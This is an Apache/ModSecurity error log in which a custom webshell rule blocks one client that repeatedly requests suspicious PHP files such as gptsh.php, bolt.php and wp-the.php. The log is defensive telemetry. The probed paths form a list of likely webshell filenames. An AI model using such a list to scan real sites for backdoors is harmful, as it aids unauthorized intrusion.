[Fri Apr 17 06:27:11.080957 2026] [:error] [pid 9263:tid 9285] [client 20.91.253.196:12223] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeFiPxP68VyHNvj1e54XxgAAANQ"]
[Fri Apr 17 06:27:11.655123 2026] [:error] [pid 51878:tid 51893] [client 20.91.253.196:12150] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFiP0nQhUtMbw9EsgaWVQAAAQ0"]
[Fri Apr 17 06:27:13.028805 2026] [:error] [pid 9263:tid 9279] [client 20.91.253.196:12185] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFiQRP68VyHNvj1e54X1QAAAM4"]
[Fri Apr 17 06:27:13.710156 2026] [:error] [pid 9153:tid 9232] [client 20.91.253.196:12181] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFiQeMHGxkTZX3c45cWxAAAAI4"]
[Fri Apr 17 06:27:14.289278 2026] [:error] [pid 9152:tid 9190] [client 20.91.253.196:12052] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFiQpJYca8I3TNCwIchXAAAAEA"]
[Fri Apr 17 06:27:14.919092 2026] [:error] [pid 9153:tid 9227] [client 20.91.253.196:12245] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeFiQuMHGxkTZX3c45cWzwAAAIk"]
[Fri Apr 17 06:27:15.498762 2026] [:error] [pid 51878:tid 51882] [client 20.91.253.196:12140] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeFiQ0nQhUtMbw9EsgaWZAAAAQI"]
[Fri Apr 17 06:27:16.105176 2026] [:error] [pid 9153:tid 9238] [client 20.91.253.196:12242] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeFiROMHGxkTZX3c45cW1QAAAJQ"]
[Fri Apr 17 06:27:16.763607 2026] [:error] [pid 9263:tid 9270] [client 20.91.253.196:12091] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeFiRBP68VyHNvj1e54X8AAAAMU"]
[Fri Apr 17 06:27:18.072360 2026] [:error] [pid 51878:tid 51900] [client 20.91.253.196:12152] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeFiRknQhUtMbw9EsgaWeAAAARQ"]
[Fri Apr 17 06:27:19.155332 2026] [:error] [pid 9151:tid 9170] [client 20.91.253.196:12033] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeFiR8hTVuRPkua22vSsDgAAAAk"]
[Fri Apr 17 06:27:20.026326 2026] [:error] [pid 51878:tid 51885] [client 20.91.253.196:12278] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeFiSEnQhUtMbw9EsgaWiQAAAQU"]
[Fri Apr 17 06:27:21.379830 2026] [:error] [pid 9153:tid 9241] [client 20.91.253.196:12120] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeFiSeMHGxkTZX3c45cW9QAAAJc"]
[Fri Apr 17 06:27:22.621939 2026] [:error] [pid 51878:tid 51893] [client 20.91.253.196:12051] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jga.php"] [unique_id "aeFiSknQhUtMbw9EsgaWoAAAAQ0"]
[Fri Apr 17 06:27:24.315385 2026] [proxy_fcgi:error] [pid 9152:tid 9197] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:24.582276 2026] [proxy_fcgi:error] [pid 9152:tid 9212] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:24.858851 2026] [proxy_fcgi:error] [pid 9152:tid 9193] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:25.126554 2026] [proxy_fcgi:error] [pid 9152:tid 9204] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:25.396520 2026] [proxy_fcgi:error] [pid 9152:tid 9195] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:25.661330 2026] [proxy_fcgi:error] [pid 9152:tid 9211] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:25.928706 2026] [proxy_fcgi:error] [pid 9152:tid 9206] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:26.195766 2026] [proxy_fcgi:error] [pid 9152:tid 9203] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:26.466260 2026] [proxy_fcgi:error] [pid 9152:tid 9194] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:26.734659 2026] [proxy_fcgi:error] [pid 9152:tid 9191] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:27.017649 2026] [proxy_fcgi:error] [pid 9152:tid 9207] [client 20.91.253.196:12066] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:27:27.281575 2026] [:error] [pid 9152:tid 9199] [client 20.91.253.196:12066] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a7.php"] [unique_id "aeFiT5JYca8I3TNCwIchhQAAAEk"]
[Fri Apr 17 06:27:30.090227 2026] [:error] [pid 9153:tid 9236] [client 20.91.253.196:12110] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a7.php"] [unique_id "aeFiUuMHGxkTZX3c45cXIgAAAJI"]
[Fri Apr 17 06:27:31.137423 2026] [:error] [pid 9152:tid 9192] [client 20.91.253.196:12074] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a7.php"] [unique_id "aeFiU5JYca8I3TNCwIchiAAAAEI"]
[Fri Apr 17 06:27:31.807177 2026] [:error] [pid 9151:tid 9178] [client 20.91.253.196:12136] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a7.php"] [unique_id "aeFiU8hTVuRPkua22vSsJgAAABE"]
[Fri Apr 17 06:27:32.576786 2026] [:error] [pid 51878:tid 51888] [client 20.91.253.196:12077] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeFiVEnQhUtMbw9EsgaW1QAAAQg"]
[Fri Apr 17 06:27:33.407569 2026] [:error] [pid 9151:tid 9163] [client 20.91.253.196:12227] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeFiVchTVuRPkua22vSsLgAAAAI"]
[Fri Apr 17 06:27:34.187186 2026] [:error] [pid 9152:tid 9203] [client 20.91.253.196:12155] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeFiVpJYca8I3TNCwIchiwAAAE0"]
[Fri Apr 17 06:27:35.009299 2026] [:error] [pid 9151:tid 9185] [client 20.91.253.196:12038] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aeFiV8hTVuRPkua22vSsNAAAABg"]
[Fri Apr 17 06:27:35.646227 2026] [:error] [pid 9263:tid 9266] [client 20.91.253.196:12157] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "aeFiVxP68VyHNvj1e54YUQAAAME"]
[Fri Apr 17 06:27:36.263486 2026] [:error] [pid 9151:tid 9178] [client 20.91.253.196:12202] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "aeFiWMhTVuRPkua22vSsOAAAABE"]
[Fri Apr 17 06:27:37.190559 2026] [:error] [pid 9263:tid 9270] [client 20.91.253.196:12125] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "aeFiWRP68VyHNvj1e54YZwAAAMU"]
[Fri Apr 17 06:27:38.783935 2026] [:error] [pid 9151:tid 9176] [client 20.91.253.196:12083] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lib.php"] [unique_id "aeFiWshTVuRPkua22vSsSQAAAA8"]
[Fri Apr 17 06:27:40.142299 2026] [:error] [pid 9152:tid 9191] [client 20.91.253.196:11969] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeFiXJJYca8I3TNCwIchowAAAEE"]
[Fri Apr 17 06:27:41.740707 2026] [:error] [pid 9263:tid 9269] [client 20.91.253.196:11982] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeFiXRP68VyHNvj1e54YeQAAAMQ"]
[Fri Apr 17 06:27:43.245870 2026] [:error] [pid 51878:tid 51894] [client 20.91.253.196:12070] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeFiX0nQhUtMbw9EsgaXCwAAAQ4"]
[Fri Apr 17 06:27:44.453889 2026] [:error] [pid 9151:tid 9167] [client 20.91.253.196:12200] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeFiYMhTVuRPkua22vSsVAAAAAY"]
[Fri Apr 17 06:27:45.397960 2026] [:error] [pid 9151:tid 9179] [client 20.91.253.196:12251] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file61.php"] [unique_id "aeFiYchTVuRPkua22vSsXwAAABI"]
[Fri Apr 17 06:27:46.390964 2026] [:error] [pid 9153:tid 9226] [client 20.91.253.196:12014] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file61.php"] [unique_id "aeFiYuMHGxkTZX3c45cXYgAAAIg"]
[Fri Apr 17 06:27:47.455459 2026] [:error] [pid 9153:tid 9223] [client 20.91.253.196:12063] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file61.php"] [unique_id "aeFiY-MHGxkTZX3c45cXZwAAAIU"]
[Fri Apr 17 06:27:48.668038 2026] [:error] [pid 9263:tid 9277] [client 20.91.253.196:12224] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file61.php"] [unique_id "aeFiZBP68VyHNvj1e54YlAAAAMw"]
[Fri Apr 17 06:27:51.964869 2026] [:error] [pid 51878:tid 51897] [client 20.91.253.196:12258] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeFiZ0nQhUtMbw9EsgaXSwAAARE"]
[Fri Apr 17 06:27:54.771091 2026] [:error] [pid 9153:tid 9231] [client 20.91.253.196:12207] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeFiauMHGxkTZX3c45cXoQAAAI0"]
[Fri Apr 17 06:27:59.861625 2026] [:error] [pid 9153:tid 9230] [client 20.91.253.196:12143] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeFib-MHGxkTZX3c45cXxQAAAIw"]
[Fri Apr 17 06:28:02.442168 2026] [:error] [pid 9151:tid 9168] [client 20.91.253.196:12053] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeFicshTVuRPkua22vSsmAAAAAc"]
[Fri Apr 17 06:28:03.760995 2026] [:error] [pid 9151:tid 9171] [client 20.91.253.196:12012] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gptsh.php"] [unique_id "aeFic8hTVuRPkua22vSsoAAAAAo"]
[Fri Apr 17 06:28:05.001682 2026] [:error] [pid 9151:tid 9164] [client 20.91.253.196:12055] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gptsh.php"] [unique_id "aeFidchTVuRPkua22vSspQAAAAM"]
[Fri Apr 17 06:28:07.560383 2026] [:error] [pid 9153:tid 9222] [client 20.91.253.196:12197] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gptsh.php"] [unique_id "aeFid-MHGxkTZX3c45cX-AAAAIQ"]
[Fri Apr 17 06:28:09.811608 2026] [:error] [pid 9153:tid 9227] [client 20.91.253.196:12064] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gptsh.php"] [unique_id "aeFieeMHGxkTZX3c45cYBwAAAIk"]
[Fri Apr 17 06:28:10.493376 2026] [:error] [pid 9263:tid 9267] [client 20.91.253.196:12235] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFiehP68VyHNvj1e54Y-gAAAMI"]
[Fri Apr 17 06:28:11.336896 2026] [:error] [pid 51878:tid 51903] [client 20.91.253.196:12040] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFie0nQhUtMbw9EsgaX8AAAARc"]
[Fri Apr 17 06:28:12.064507 2026] [:error] [pid 9263:tid 9287] [client 20.91.253.196:12166] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFifBP68VyHNvj1e54ZCgAAANY"]
[Fri Apr 17 06:28:12.725535 2026] [:error] [pid 9151:tid 9177] [client 20.91.253.196:12127] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeFifMhTVuRPkua22vSswwAAABA"]
[Fri Apr 17 06:28:13.291409 2026] [:error] [pid 51878:tid 51884] [client 20.91.253.196:12247] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeFifUnQhUtMbw9EsgaX-QAAAQQ"]
[Fri Apr 17 06:28:14.073063 2026] [:error] [pid 9263:tid 9287] [client 20.91.253.196:12043] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeFifhP68VyHNvj1e54ZHQAAANY"]
[Fri Apr 17 06:28:14.667491 2026] [:error] [pid 9152:tid 9206] [client 20.91.253.196:12167] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeFifpJYca8I3TNCwIciGgAAAFA"]
[Fri Apr 17 06:28:15.350652 2026] [:error] [pid 51878:tid 51902] [client 20.91.253.196:12054] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sid3.php"] [unique_id "aeFif0nQhUtMbw9EsgaYBwAAARY"]
[Fri Apr 17 06:28:15.919103 2026] [:error] [pid 9153:tid 9230] [client 20.91.253.196:12173] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "aeFif-MHGxkTZX3c45cYKgAAAIw"]
[Fri Apr 17 06:28:16.604581 2026] [:error] [pid 51878:tid 51892] [client 20.91.253.196:12056] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "aeFigEnQhUtMbw9EsgaYGgAAAQw"]
